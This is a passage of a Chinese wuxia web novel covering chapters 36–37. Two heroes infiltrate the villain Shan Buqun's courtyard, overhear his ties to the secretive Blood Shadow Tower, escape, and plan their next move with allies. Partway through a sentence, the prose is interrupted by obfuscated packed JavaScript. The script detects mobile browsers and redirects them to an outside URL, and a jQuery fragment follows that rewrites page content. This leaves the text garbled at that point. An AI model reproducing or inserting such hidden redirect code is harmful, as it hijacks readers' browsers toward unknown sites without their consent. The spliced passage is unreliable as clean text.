景泽闻言,鼻中轻哼一声,面露不屑: “我道是何等尊贵身份,不过一城主义子罢了,又非亲生骨肉,何来不简单之说?” 云逍立时凑近了几分,神色凝重:“阿泽妹妹有所不知,那秦清风本有五子,却皆在襁褓之中夭折,未曾留下一脉骨血,故而这义子单不群,他视作掌上明珠,百般溺爱,呵护备至,当真含在嘴里怕化,捧在手心怕摔。依我看,日后这清州城主之位,十之八九,便是要落在单不群身上。” 景泽深吸一口气,眉头紧蹙,眼中闪过怒意: “这般嗜杀成性、恶名昭彰之徒,清州万千百姓,岂能容他做一城之主?” 云逍苦笑一声,摊开双手,满是无奈:“百姓愿与不愿,皆是无用,这清州地界,终究是秦城主一言九鼎,旁人做不得主。” 景泽眸光一闪,若有所思,缓缓问道:“那秦清风,当真不知自己义子的斑斑劣迹?单不群恶行,早已登了《裂陆杂报》,满城风雨,路人皆知,我不信他能充耳不闻。” 云逍手抚下巴,沉吟半晌,方开口道:“我自幼长在清州,深知秦城主为人,他素来仁义爱民,公正严明,在百姓之中声望极重。想来是单不群刻意遮掩,他未曾得知真相,若是秦城主知晓这义子犯下的滔天罪孽,以他刚正性子,必定秉公处置,绝不姑息养奸。” 景泽不置可否,挑眉一笑,语气带着几分决然: “是么?口说无凭,你且随我去会会这单不群,我倒要亲眼瞧瞧,此人是何等模样!” · 当下云逍在前引路,二人穿过庭院回廊,曲曲折折,行不多时,便至单不群居所院前。 只见这院落,比之府中其余庭院,大了何止一倍,院墙高耸,门楣雕梁画栋,气派非凡。 隔着院墙望去,院中奇花异草,皆是世间罕有的名贵品种,有些连云逍这般识得草木的,也叫不上名讳,一看便知价值不菲。庭院之中,假山叠翠,流水潺潺,曲径通幽,一步一景,极尽奢华,不知耗费了多少金银。 单从这院落规制,便可见秦清风对单不群,确实溺爱到了极致。 只是院外府卫林立,里三层外三层,戒备森严,景泽与云逍若是想硬闯而入,绝无可能。 二人不敢轻举妄动,悄身跃上院外一棵大树,藏身于浓密枝叶之间,借树荫遮掩,遥遥打量院中动静。 但见那些府卫训练有素,仿若磐石,站在原地纹丝不动,便是换岗之时,也是前后相接,无缝衔接,根本寻不到可乘之机。 景泽心下焦躁,随手“咔嚓”折断一根树枝。 “瞧这院墙高耸,守卫严密,看来,咱们不能翻墙进去了。” 云逍素来恐高,双手死死抱住树干,苦着脸颤声道:“这……这可如何是好?不如我们先退出去,同江染他们汇合,从长计议,再想对策?” 景泽冷冷一笑,眼中透着志在必得的锋芒:“既已到了这恶贼巢穴,岂有空手而返之理?既来之,则安之,索性混进去探他一探,说不定便能将这恶贼擒住,为民除害。” “擒单不群?就凭你我二人?” 云逍以为听错,瞪大双眼,满是难以置信。 “这般多府卫把守,你我如何能在众目睽睽之下,将他擒走?” 景泽白了他一眼,语气平淡:“我只说‘说不定’,你何须这般急躁?” 他们正低声言语,忽听得树下脚步声响,由远及近。 二人当即闭口,屏住呼吸,透过树叶缝隙,往下望去。 只见两名身着府中男丁服饰的汉子,牵着一匹通体雪白的骏马,缓步而来。 那白马神骏异常,身形矫健,鬃毛顺滑如缎,一看便是千里挑一的良驹。 二人行至树下,忽起争执,言语相争,声音越来越大。 一人怒声呵斥:“都怪你!执意要压低马价,如今可好,单大人点名要的白马,竟被那富商买走,我等拿什么回去交差?” 另一人也不甘示弱,厉声反驳:“此事怎能全怪我?当初是你言道,省下银钱你我对半分,如今出了纰漏,便想将罪责全推在我身上?” “你当真愚笨!不懂变通!我虽如此说,何曾让你真个压价?如今白马旁落,单大人降罪下来,你有几颗脑袋够砍?” 那汉子急了眼,面色涨得通红,怒道:“你休要推卸责任!起初贪墨银钱的主意,本就是你想出,若不是你起了贪念,何来今日之祸?” 二人越吵越凶,话锋渐厉,火气上涌,竟是当场扭打起来,拳拳到肉,招招往对方要害招呼,下手毫不留情。 云逍看得心惊,压低声音对景泽道:“他二人这般厮打,怕是要出人命,你我要不要下去劝架?” 景泽冷眼瞧着树下二人恶斗,嘴角勾起一抹冷笑,淡淡道:“死了才好,省得费事。” “……” 云逍见她这般冷漠,心头一凛,只觉此刻的景泽,仿若一柄出鞘寒刃,周身透着刺骨寒意,让人不敢近身。 他喉头滚动,咽下一口唾沫,不敢再多言,只默默看着树下打斗。 不多时,打斗渐分胜负,一人被另一人掐住脖颈,按倒在地,那人骑在他身上,挥起铁拳,狠狠往其脸上砸去。 不过数拳,身下汉子便七窍流血,面目浮肿,气息奄奄,挣扎片刻便没了声息。 那得胜汉子站起身,拍了拍身上尘土,长出一口气,面露狞笑。 如此一来,死无对证,贪墨之事便无人知晓,若是单不群问罪,只管推到死人身上便是。 他抬手抹了把脸上血污,笑容在血迹映衬下,显得狰狞可怖。 便在他转身欲走之际,忽觉脖颈间一凉,似被利刃轻轻划过。 “……!” 他下意识抬手一摸,指尖尽是温热鲜血,尚来不及回头看一眼凶手,便眼前一黑,双腿一软,“扑通”一声栽倒在地,气绝身亡。 景泽身形一晃,自树梢轻盈跃下,走到尸体旁,蹲下身,伸手拔出那柄插在汉子脖颈间的短刀。 “正所谓,螳螂捕蝉,黄雀在后。” 云逍战战兢兢顺着树干滑下,奔到景泽身边,看着那两具尸体,又看了看景泽手中染血短刀,声音微微发颤: “阿泽妹妹,我、我们还要去擒单不群么?” 景泽将短刀收入衣襟,拍了拍衣衫上的尘土。 “自然要去,不然我何必出手除了这两个废物?” 云逍与她目光相对,刹那间恍然大悟。 这两名男丁一死,他二人便可冒充送马之人,堂而皇之进入院中。 · 二人牵起那匹白马,缓步走到院门前。 云逍上前一步,对着守门府卫拱手行礼。 “劳烦诸位大哥通禀,单大人先前看中的白马,我等送来了。” 那门前立着六名府卫,个个虎背熊腰,气势慑人。闻言,齐齐目光投向那匹白马,眼中皆是闪过一丝惊艳,随即 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为首府卫沉吟片刻,对着身后一名小卒使了个眼色,那小卒会意,当即快步入内通报。 不过片刻功夫,那小卒气喘吁吁跑回,凑到为首府卫耳边,低声言语几句。 那府卫神色顿时缓和,戒备之意散去,挥了挥手,沉声道: “开门,放他二人进去!” “多谢大哥通融。” 云逍连忙拱手道谢,与景泽对视一眼,二人牵着白马,从容不迫,走进了院落。 待远离守门府卫,云逍才松了一口气:“好险,我先前从那侍女口中得知,单不群平日里最爱待在东边书房,我们直接往书房去便是。” 景泽挑眉看他,笑道:“那侍女倒是对你知无不言,莫非你以刀相挟,逼她开口?” 云逍一脸无辜,连忙辩解:“我哪有你说得那么暴力!我就不能是因为个人魅力,斩获了那美少女的芳心,从而让那美少女对我知无不言,言无不尽?阿泽妹妹啊,看来你还是对我的个人魅力不甚了解,罢了罢了,等出去后,我再好好跟你说道说道,让你开开眼界。” 景泽:“……” 这个眼界不开也罢。 二人牵着马,行至东边书房外,却见书房门口守着四五个下人,有的端着茶壶,有的捧着手巾,皆是百无聊赖。 见二人牵马而来,便开口道:“单大人正在书房会客,无暇见你们,你二人将马牵去马房便是。” 既未见单不群,二人岂能就此离去? 云逍当即开口,语气坚定:“此马乃是千金难买的良驹,贵重异常,半点差错也出不得。单大人早前吩咐,要亲自验看,我等不敢擅自安置,还请诸位行个方便,容我等在此等候,待大人会客完毕,当面交付。” 下人们面面相觑,心想此马确实贵重,若是出了意外,自己肯定担待不起,便点头应允,任由二人在门外等候。 谁曾想,单不群这一会客,竟从午后一直会到了夜幕降临,月色升空。 期间只偶尔有下人送茶饭进入,又端着空盘出来,书房之内,再无旁人进出。 景泽心下生疑,暗道这单不群,当真在会客?何等贵客,能留如此之久?其中定有蹊跷。 她压低声音,对云逍吩咐道:“你在此处守着,莫要露出破绽,我假装腹痛,去趟茅厕。” 云逍点头,猜中她要暗中探查,张了张口,似乎要说什么,最后只低声叮嘱: “万事小心。” “好。” 景泽当即捂住肚子,眉头紧锁,装作腹痛难忍的模样,跟下人们告了声,便匆匆往茅厕方向跑去。 行至僻静处,她立时直起身,脚步一转,绕到书房后侧,纵身一跃,悄无声息跃上了书房房顶。 月色皎洁,如水般洒下,映着她身影越发单薄,只见她蹲下身,指尖缓缓掀开一片青瓦,俯身往下望去。 36. 血影楼 景泽屏住呼吸,眯起眼睛往下望去,书房的景象在昏黄烛火中一览无余。 单不群坐在一把宽大的太师椅中,正悠然地品着茶水,茶雾袅袅升起,模糊了他半张脸。 而在他面前,站了一个戴着幂离的白衣女子。 那女子身形高挑,气质卓然,背负长剑。 景泽看见那女子,心头忽然一跳,她想起了之前那个仙女姐姐,此人会不会是她? 这念头刚冒出来,便听到那幂离女子开了口:“楼主要说的话,全都在这里了。” 声音粗粝低沉,像是砂纸打磨过一般,与仙女姐姐那温柔款款的声线毫不相干。 她肯定不是仙女姐姐,景泽心头掠过一丝失望,说不清是庆幸还是遗憾。 只见那幂离女子从袖中取出一张纸条,递给单不群。 单不群接过,漫不经心地打开,脸上的表情却在一寸一寸地凝固,最终化为一声颇为不屑的冷哼。 “他这是什么意思?” 单不群将纸条拍在桌上,“警告我?他当初让我加入你们血影楼的时候可不是这副嘴脸!说什么兄弟情义、说什么同生共死!这些年我替他杀了多少人,他自己心里没点数?想过河拆桥?卸磨杀驴?” 他越说越怒,猛地站起身来,将纸条揉碎,狠狠掼在地上。 “他问过我半句意见没有?!现在全城都在嚼我舌根!他好意思说这些话!吃相不要太难看!” “你回去告诉他!别拿什么架子来压我!惹急了老子,鱼死网破,谁也别想好过!真当我单不群是什么,能由着他召之即来挥之即去!” 幂离女子静静地听他说完,幂离下的唇角似乎微微勾了一下,“城门失火,殃及池鱼。楼主的意思很明显,他这是让你近段时间收敛一些,暂避锋芒。如今全城都知道了你做的那些事,连画像带名字,一样不少,若是被有心人得了可乘之机……” 她顿了顿,往前走了半步,剑鞘上的穗子轻轻晃动。 “到那个时候,你猜楼主是会睁一只眼闭一只眼地警告你,还是会直接杀了你?” “……!” 最后一句话说得太过狠毒,单不群后背猛地一凉。 血影楼?景泽在心中默默记下这个名字,那是什么地方?难道说,这单不群是为了血影楼而杀人? 幂离女子早就料到了单不群的反应,轻轻一笑:“你既然长了一颗脑袋,我劝你还是让它好好发挥本来的作用,不要只当个摆设。不过,你倒也不用这般害怕,只要按照楼主说的做,别跟楼主对着干,你想要的城主之位,楼主是会给你的,你这条小命,自然也是能保住的。” 单不群深吸一口气,胸膛剧烈起伏了几下,像是在强行压制着什么。 半晌,他瞪着那幂离女子,声音沙哑:“怎么听起来,我单不群反倒还要谢谢你们了?别以为我不知道,他只是想要个好控制的傀儡罢了,届时我要是成了清州城的城主,最后还不是他说了算?” 他冷笑一声,继续嘲讽道:“他为了利益,敢动我么?没了我,他拿什么控制清州城?还威胁我,恐吓我,你们做样子给谁看?” 话音落下的一瞬间,幂离女子的动作快得几乎看不见轨迹,只听“铮”的一声,长剑已然出鞘,剑光如匹练般闪过,直指单不群的咽喉。 距离太近了,剑尖已经触及单不群的皮肤,划出了一道细细的血痕。 单不群瞳孔猛地放大,脸上血色尽褪。 他没想到对方根本不吃他这一套,指着幂离女子,嘴唇哆嗦着,结结巴巴说不出一句完整的话来。 “你、你……你竟然……” 幂离女子冷哼,手腕纹丝不动,剑尖稳稳地抵在他的咽喉上。 “你既然知道自己是傀儡,就该有点傀儡的自觉。” “要知道,这傀儡位置你坐得,别人自然也坐得,别太把自己看得太重,有时候,人还是得糊涂一些,方才能走得长远。” 单不群喉结滚动,冷汗顺着额角淌下,却一个字也不敢再说了。 光是看那幂离女子的出剑姿势,景泽就能判断出此人修为定然不简单,且绝对在她之上。 她本意是想看看此番能否将这单不群给抓了,现在看来,机会渺茫,恐怕得等下次了。 然而就在她心神微动、准备撤退之时,脚后跟不小心踩重了一寸。 “咔嚓。” 一声细微的脆响,在寂静的夜里格外清晰。 景泽脸色大变! 屋内的两人同时猛地抬头,目光如刀般射向房顶。 “谁?!” 单不群厉声喝道,幂离女子已经收剑入鞘,身形如燕掠起,朝门外掠去。 景泽顾不得许多,连忙闪身逃窜。 她跳下房檐,落地时由于角度不对,崴了脚,疼得她倒抽一口冷气,几乎是单脚跳着往前跑了几步。 就在这时,一只手从暗处伸出来,稳稳地扶住了她的胳膊。 “阿泽妹妹!” 云逍的声音压得极低,却掩不住其中的焦急与欣喜。 “担心死我了!见你久久不回来,我正找你呢!” 景泽来不及跟他多说,一把拉起云逍的手就往茅房的方向跑,催促道:“我被发现了!咱俩快点躲起来!” 云逍被拽得踉跄了两步,待看清景泽要将他拉进茅房,顿时脸色发青,捂着鼻子死活不肯进去。 “咱们就不能换个地方么?这地方多臭啊!” 景泽恨铁不成钢,回头瞪了他一眼:“来不及了!最危险的地方就是最安全的地方!那女子修为极高,我们跑是跑不掉的!” 云逍内心挣扎,他堂堂清州云氏嫡小公子,怎么可以躲在那又臭又脏的茅房?更何况,茅房也不是最佳选择,那地方又小又窄,躲进去藏哪里?总不能真躲到粪坑里吧? 他大脑飞速运转,忽然灵光一闪,直接反手将景泽按到了屋檐下的墙上。 景泽还没反应过来,后背已经贴上了冰冷的墙面,她大怒,伸手要推开他: “你在搞什么……唔!” 云逍的唇已经覆了上来。 他将她的手高举过头顶,十指相扣,贴在墙面上,夜风拂过,吹起两人的衣角交缠在一起。 他闭上眼睛,一点一点轻轻啄她的唇,动作生涩而虔诚。 景泽瞪大了眼睛,连呼吸都凝滞了。 云逍这是做什么! 与此同时,那幂离女子忽然从屋顶跳了下来,白衣如雪,长剑在月光下泛着冷光。 她转身扫视四周,目光恰好落在墙角那对狗男女身上。 “……!” 景泽余光瞥见那抹白色身影,心脏几乎跳到了嗓子眼,她怕被认出来,连忙闭上了眼睛,假装很投入的样子,为了万无一失,她甚至伸手抱住了云逍的腰,指尖攥紧了他腰间的衣料。 云逍没想过她会主动抱他,身体微微一僵,嘴角在触碰的间隙中轻轻上扬了一个弧度。 发乎情,止乎礼,占太多便宜不是云逍的性格,加上他本身也没什么实战经验,所以哪怕他内心早已翻江倒海,两人也只是碰碰嘴皮的习武式亲吻。 夜色太浓,墙角太暗,幂离女子提着剑朝他们走了几步,脚步声在青石板路上格外清晰。 景泽感觉那道目光像一柄无形的剑,刺得她后背发麻。 但幂离女子只是看了几眼,确认这真的只是一对深夜幽会的狗男女之后,便不再耽搁,飞身往别的方向追去了。 · 屋内,单不群待幂离女子走后,积压的怒火终于彻底爆发。 他将书案上的东西全部推到了地上,瓶瓶罐罐碎了一地,墨汁飞溅,在白墙上留下触目惊心的痕迹。 “到底是谁!谁在那《裂陆杂报》上泄露了我的消息!我明明隐藏得那么好!之前杀那么多人都没被发现,怎么现在忽然被发现了!” 他一脚踹翻了椅子,又转身推倒了书架,书籍哗啦啦地散落一地。 “这其中肯定有人在跟我作对!要是让我发现了谁在背后给我使绊子,我一定要亲手弄死那人!” 噼里啪啦的声响在屋内此起彼伏,外面的下人听到动静,吓了一大跳,连忙进来查看。 见单不群脸色铁青、双目赤红,下人缩了缩脖子,小心翼翼地凑上前,试图讨他欢心。 “单大人,您要的白马到了!” 下人赔着笑脸:“那白马我们看过了,果真是一匹好马!通体雪白,没有一根杂毛,日行千里不在话下!您要是见了,一定会喜欢!” 单不群此刻哪还有心思要什么白马,猛地转过头来,目光凶狠得像要吃人。 “都什么时候了!老子见那玩意儿干什么!” 他一拳砸在桌上,桌面应声裂开一道缝。 “老子听到白马就觉得晦气!去把那白马给老子宰了!” 下人吓得一哆嗦,连忙应声,连滚带爬地退了出去,不敢再多说一个字。 · 见那幂离女子走远了,云逍才缓缓放开了景泽。 夜色中,他的耳尖红得几乎要滴血,目光闪躲了一下,才落回景泽脸上: “不好意思,阿泽妹妹,事发突然,这才出此下策,我没有半分轻薄你的意思,你别生气好不好?” 怕景泽日后烦他,他又朝着景泽伸出手,手心摊开朝上。 “方才是我逾矩了,若你心里不痛快,你就打我,只要你能出气都成,我云逍在此立誓,一定对阿泽妹妹负责到底。” “什么三媒六聘、八抬大轿、明媒正娶,有什么要求阿泽妹妹尽管提,我云逍绝无二话。” 景泽又不是不知道刚刚有多危险,她虽然震惊于云逍的举动,但也不至于真的恼他。 更何况,她没那么小气。 她从云逍脸上收回目光,努力让自己的声音听起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17568582|202397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平静如常。 “行了行了,我不怪你。” 云逍大喜,眼里的光几乎要溢出来:“我就知道阿泽妹妹你不会怪我!毕竟我这么英俊潇洒、风华绝代,人见人爱,花见花开,阿泽妹妹怎么忍心看我伤心难过……” 景泽竖起一根手指,打断了他的自我陶醉:“不过,仅此一次!不准再有第二次了!男女授受不亲!” 云逍立即正色,凛然道:“明白!往后我云逍绝对不会再唐突阿泽妹妹半分!” 话音刚落,他便来到景泽身前蹲下,回头看着她,眼中带着笑意:“阿泽妹妹,上来,我背你。” 景泽看着云逍宽厚的背影,微微一愣:“为什么背我?” 云逍头也不回,格外认真:“你刚刚崴了脚,想必现在一定很疼,我背你着你走。” 景泽本想拒绝,奈何步子迈出去两步,脚踝处确实传来一阵钝痛,她犹豫了片刻,终究还是伏到了云逍背上,由着他背自己。 · 然而,进到单不群的院子容易,想要出去可就难了。 云逍背着景泽绕着院子转了一圈,也没发现哪里有可以出去的地方。 就在两人犯难时,院子外面忽然传来一阵急促的脚步声,紧接着是一个下人的声音,气喘吁吁地喊道:“单大人!夫人回来了!夫人这次出府,路上遇到了不少山贼,受到了极大惊吓!城主命大人立刻前去给夫人请安,再抽调一半府卫到夫人院中,保卫夫人安全!” 单不群正在屋内烦躁地来回踱步,闻言愣了一下,随即咬了咬牙,低声骂了一句什么,只好收拾起心情,整了整衣冠,大步流星地走出门去,身后跟了一大群府卫,浩浩荡荡地往夫人院中赶去。 院子一下子空了大半,只剩下零星几个守卫还站在远处。 景泽和云逍对视一眼,都从对方眼中看到了机会。 两人趁着守卫不注意,找了个僻静的墙角,云逍先托着景泽翻过墙去,自己再翻身而过。 经过一番兜兜转转,他们终于同一直守在府外的江染、蔡乔二人会合。 江染站在墙下,月光将他的影子拉得很长,见云逍背着景泽朝自己走来,眸光微动,忙迎上去问: “嚯!这么大阵仗?这得伤成什么样啊!” 景泽趴在云逍背上摇了摇头,轻描淡写:“没事儿,就是脚崴了。” 江染上下打量了她一眼,确认没有大碍之后,目光便转向了云逍,露出了不加掩饰的嫌弃表情。 云逍果然很废物,他在心里冷冷评价。 只见他双臂抱胸,斜眼瞥着云逍,阴阳怪气地对景泽道:“我说景泽,你也太不挑了吧?就他这肩不能扛手不能提的弱不禁风样,成天就知道吟诗作对,一阵风都能吹个趔趄,你可别真把他压散架了,回头还得咱们抬他回去。” 景泽闻言,眉毛一挑,眼中闪过一丝狡黠的光。 她朝江染勾了勾手指,煞有介事道:“过来过来。” “干什么?” 江染半信半疑地往前挪了半步,警惕得很,总觉得她这笑里藏着坏水。 景泽笑得眉眼弯弯:“你过来就知道了,好事儿。” 江染又往前凑了凑,刚到跟前,景泽直接伸手勾住他的脖子,借着他的力道一纵,干脆利落地从云逍背上跃到了他背上,还故意把身子往下一沉,整个人像块吸在他背上的大石头,笑得狡黠:“给你一次重新组织语言的机会,江染,我现在沉不?” 江染脖子一紧,差点没被勒断,脸瞬间涨得通红,咬着牙死撑,嘴上半点不饶人:“沉!怎么不沉!你这分量,全裂陆六城找不出第二个!人家姑娘是弱柳扶风,你是泰山压顶!景泽!我警告你,赶紧从我背上滚下来!不然我直接把你往旁边水沟里一丢,让你跟浮萍作伴!” “哼!我就不!” 景泽分毫不让,下巴搁在他肩膀上,笑得得意洋洋,还故意晃了晃身子,“我看你是不见棺材不掉泪,再损我,我就把全身力气都压你身上!” 说着她又往下沉了沉,压得江染膝盖都弯了几分,差点当场跪了。 云逍在旁边看得乐不可支,抱着胳膊拍手叫好,唯恐天下不乱:“哈哈哈加油!阿泽妹妹!千万别放过他!这货天天跟我抬杠,今天终于轮到他遭报应了!给他点苦头吃吃,让他知道什么叫‘话不能乱说’!” 蔡乔看着江染涨红的脸和景泽挂在他背上的无赖样,捂着嘴笑了半天,眼泪都快出来了,才终于上前打圆场:“好了好了,你俩别闹了,天色不早了,先去我家歇脚吧,再耗下去,江染怕是要被压得当场站不起来了。” 江染咬着牙,声音都发颤了,还不忘嘴硬:“谁……谁站不起来了!景泽你给我等着,等你下来,我非把你这事儿传遍六城,让所有人都知道你是个能压垮男人的‘大力士’!” 景泽趴在他背上笑得直抖:“你说啊,你说了我就天天压你,看你还敢不敢嘴欠!” 37. 诡局 江染嘴上说得狠,扬言要把景泽丢到水沟里,可最终还是老老实实把这尊大佛背到了蔡乔家里。 一路上景泽伏在他背上,呼吸均匀,居然睡了过去。 江染走得满头大汗,却不敢有大动作,生怕惊醒了她,毕竟两人好不容易才止战。 云逍在一旁摇着扇子,不紧不慢地跟着,时不时递上一句风凉话:“江兄步步谨慎,汗透衣衫,这般体贴温存,当真有几分慈母护稚的气度。” 气得江染差点没一脚踹他身上。 到了蔡乔家时,夜色已深。 四人围坐在那张老旧的八仙桌旁,桌上点着一盏烛火,火光将他们的身影拉得忽长忽短。 桌上四只粗瓷大碗空空如也,碗底只余少许褐色酱料,点点油光浮于残汤之上。 这一碗米粉,乃是隔壁王婆婆所赠。 王婆婆居于蔡家隔壁二十余载,亲眼看着蔡乔兄妹长大成人。昔年蔡氏父母尚在之时,两家时常走动,逢年过节互送吃食。自蔡家横遭变故、家破人亡后,王婆婆心怜两个孤苦孩童,时时照拂,隔三差五便送些米面吃食接济。今日听闻蔡乔带了朋友归来,便特意熬了一锅热米粉,连汤带水送至院中。 一碗热食落腹,四人疲惫尽消,精神尽数回笼。 云逍将扇子一合,清了清嗓子,摆出一副说书先生的派头,将他们二人在城主府内的遭遇娓娓道来:“……话说那幂离女子,武功高深莫测,我与阿泽妹妹陷入苦战,险象环生!然则关键时刻,我灵机一动,以一招声东击西之法,成功扰乱其心神,趁其不备,携阿泽妹妹突出重围,后又躲过单不群院中层层重卫,穿花绕树、踏雪无痕,最终与你们成功会合。” “事情经过便是如此,至于后来的事,想必你们都已知晓,也就不用我赘述了。” “原来云公子竟是这般智勇双全!” 蔡乔起身拱手,语气真挚恳切,“从前是我眼拙,未曾识得公子风骨。我兄长与嫂嫂泉下有知,见二位舍命相护、仗义相助,必定感念于心。蔡乔在此,代亡亲谢过二位高义!” 说罢便要躬身行礼。 云逍连忙抬手虚扶,口中连道“不必多礼”,背脊却不自觉挺得笔直,眉眼间的得意之色藏都藏不住,几乎要溢散开来。 一旁江染翘着二郎腿,神色淡淡,冷眼旁观许久,终是凉凉开口,一语打破这般融洽光景。 “你且慢谢,他这番说辞,十句里倒有八句是自夸杜撰,当不得真。” 这话恰似一盆冰水,当头浇下,瞬间熄了云逍满身得意。 他脸上笑意骤然僵住,拍案而起,眉眼含怒:“江染!你何以这般揣度于我!我云逍岂是虚妄浮夸之人!速速与我道歉!” 江染眼皮未曾抬起分毫,神色慵懒,语气淡然无波:“我为何要道歉?方才所言虚实,你心中自知,何须我多言佐证?” “你!” 云逍被他噎得语塞,面颊涨得通红,气结不已。 二人争执不休、针锋相对之际,景泽单手支颐,眸光凝在跳跃摇曳的烛火之上,似有所思。 待二人声歇,她才缓缓抬眼,声线清浅,打破满室喧嚣: “你们四人,当真无一人听闻过‘血影楼’?” 三人闻言皆是一怔,两两对视,眼底皆是茫然。 云逍挠了挠额角,沉吟道:“单听名号,便知绝非善地,‘血影’二字戾气森森,想来是专行阴私诡事、见不得光的江湖邪派。” 江染冷哼一声:“能与单不群这等奸邪之辈勾连共处,岂会是良善门户?” “只是这血影楼能驱使单不群为其奔走,势力定然深不可测,看来这清州城看似平静,实则暗流汹涌,内里藏着的玄机,远比我们预想的更深。” 蔡乔眸中怒火隐隐跳动,攥紧了掌心:“难怪单不群嗜杀成性、残害无辜,原来皆是为血影楼效命!” 又道:“那我嫂嫂、我嫂嫂的惨死,莫非也是血影楼授意所为?” 满室寂静,无人应答,此事扑朔迷离,无人敢妄下断语。 景泽敛了眸中思绪,将此前潜伏书房上窃听所得的线索,全部告诉他们:“单不群屈身侍奉血影楼,甘为爪牙,是因为血影楼楼主许诺他,只要他忠心效命、尽心办事,便助他登顶城主之位,执掌一城权柄。” 话音落地,云逍立时摇头反驳:“不对不对,其中大有破绽,我们入府探得,当今城主秦清风,膝下无亲生子嗣,唯有一义子,便是单不群。按常理而言,单不群本就是既定的下一任城主,无需旁人相助,稳坐高位。他何苦要为一个既定的结果,替血影楼行尽伤天害理之事?” 蔡乔微微颔首,深以为然,蹙眉猜测:“莫非单不群有致命把柄落在血影楼手中,受制于人,不得不俯首听命?” 景泽眸光幽深,缓缓摇头:“若是把柄受制,二人必定早有深交,往来密切。可疑点正在于此,堂堂城主义子,身居高位、前途无量,何以会与这隐匿暗处、诡秘莫测的血影楼,牵扯上渊源纠葛?” 烛火倏然一跳,光影乱颤,满室气氛愈发沉凝。 江染指节轻叩桌面,凝神思索片刻,缓缓道:“江湖世人,往来奔波,皆逃不过一个‘利’字。正所谓,天下熙熙,皆为利来;天下攘攘,皆为利往。单不群与血影楼的勾连,说到底,不过是各取所需、利益捆绑罢了。” 所以,话又绕了回来,单不群甘为鹰犬,大肆屠戮,所求之利究竟为何? 蔡乔胸中积郁的恨意陡然爆发,她猛地一掌拍在桌面,眉眼赤红,字字铿锵:“我管他与血影楼有多少牵扯,管他图谋何等权势利益!他害死我嫂嫂,血海深仇不共戴天!我今日所求,唯有手刃仇敌,为亲人雪恨!但凡能杀了单不群,我什么都可以做!” 众人一时默然。 确实,追根究底,他们的目的从来都只有抓住单不群,让他为所作所为付出代价。 什么血影楼、什么城主之位,说到底都是些旁枝末节,跟他们没什么关系,他们在这里讨论这些,毫无意义。 景泽若有所思地开口:“城主府不好进,府卫太多了,单不群身边又有高手保护,硬闯无异于送死。再加上那幂离女子临走前警告单不群,叫他低调行事,我猜他短时间内不会轻易出府,这样一来,我们如何下手?” 云逍:“我听城主府内侍女说,那单不群贪恋美色,是个好色之徒,我不信他甘心一直待在府里,换言之,即便他心里憋的住,下半身也憋不住。” 景泽:“……” 那侍女究竟对云逍说了多少? 江染忽然皱了皱眉,像是想到了什么:“你们有没有想过一个问题?” “什么?” 三人异口同声。 江染眸光扫过三人面容,字字审慎:“满城皆传,城主秦清风卧病在床、久居内院,病因乃是夫人离家、气急伤身。可这市井流言,真假难辨。单不群汲汲营营渴求城主之位,若城主久病不愈、性命垂危……” 他没把话说完,但话里的意思太过浅显易懂,在场没有一个人听不明白。 景泽压低嗓音,接续他的话头,“若单不群真敢对义父痛下杀手,便说明他的心腹势力早已渗透城主府上下,内外把控,局势远比我们所见更凶险。除此之外,六扇门隶属城主府,受城主统辖。退一万步说,即便我们侥幸擒下单不群,送交六扇门处置,若六扇门早已与他同流合污、沆瀣一气,我们连日奔波、舍命周旋,便尽数成了徒劳。” “绝不能交!” 蔡乔立刻接话,眼神决绝:“诸位莫非忘了《裂陆杂报》上的内容了?‘若能将其捉拿归案,便是为民除害;若不能,见之亦可直接除之,以绝后患。’既然杂报都这么说了,民心所向,我们何须假手他人,直接诛杀恶贼便是!” 江染思绪飞速流转:“由此可见,将单不群罪状登于《裂陆杂报》之人,根本无惧城主府与六扇门的权势。此人深藏幕后、手段不凡,想来与我们一般,一心想要单不群身死道消。” 云逍颔首附和:“我想也是,那幕后之人定与单不群有血海深仇,不然他为何这般大张旗鼓,将单不群钉死在风口浪尖?” 蔡乔冷冷笑了一声:“就单不群这种丧心病狂的畜生,很少有人跟他没仇吧?作孽太多,迟早要还的,他这下是碰到钉子了。” 话虽如此,景泽却总觉得有什么地方不对,一种说不清道不明的不安,像一根细刺,隐隐扎在心头。 她反复回想这几日的经历,从红市到城主府,从算命瞎子到幂离女子,所有的线索都来得太顺了,顺得像有人提前铺好了路。 半晌后,她猛然反应过来,声音不自觉地压到了最低:“这一路走来,你们有没有发现,有人提前铺好了路,正引着我们一步步入局?” 此话一出,众人齐齐起了一身鸡皮疙瘩。 云逍下意识地回头看了一眼身后黑洞洞的门口,又飞快地把目光收回来,往景泽身边凑了凑,“阿泽妹妹,你说话怎么没轻没重的,你别吓我!” “此话怎讲?”江染问。 景泽条分缕析道:“我们刚决定抓凶手,《裂陆杂报》就出现了凶手的画像和名字,后来我们从红市逃出来,正郁闷没有买到有用的消息,恰好就碰上那个算命的瞎子给我们提供线索,说我们要找的人在城主府,再后来,我们顺藤摸瓜,获得了更多关于单不群的秘密。这一路顺风又顺水,你们当真觉得,只是巧合么?” 云逍越听越觉得脊背发凉,仿佛黑暗中真有一双看不见的眼睛,正冷冷地注视着他们的一举一动。 他下意识地缩了缩脖子,声音都虚了几分:“会不会……真就是巧合呢?世间巧合之事多了去了,未必就是有人跟踪吧?” 蔡乔沉吟片刻:“如果不是巧合,倒有些说不过去。可那瞎子当时指名道姓,约景泽三日后,也就是明天,在城外杀仙谷单独赴会,这又是为了什么?如果他只是跟单不群有仇,咱们四个人当中,最应该去见他的人,不应该是我么?” 这个问题确实不好回答,蔡乔的话像一团乱麻,把大家的脑子搅得更乱了,每个人都试图理出一条清晰的线来,却越理越乱。 景泽叹了口气,率先放弃了毫无结果的猜测:“算了,先不去想这些了,明天我去会一会那个瞎子,自然就什么都知道了。” 云逍立 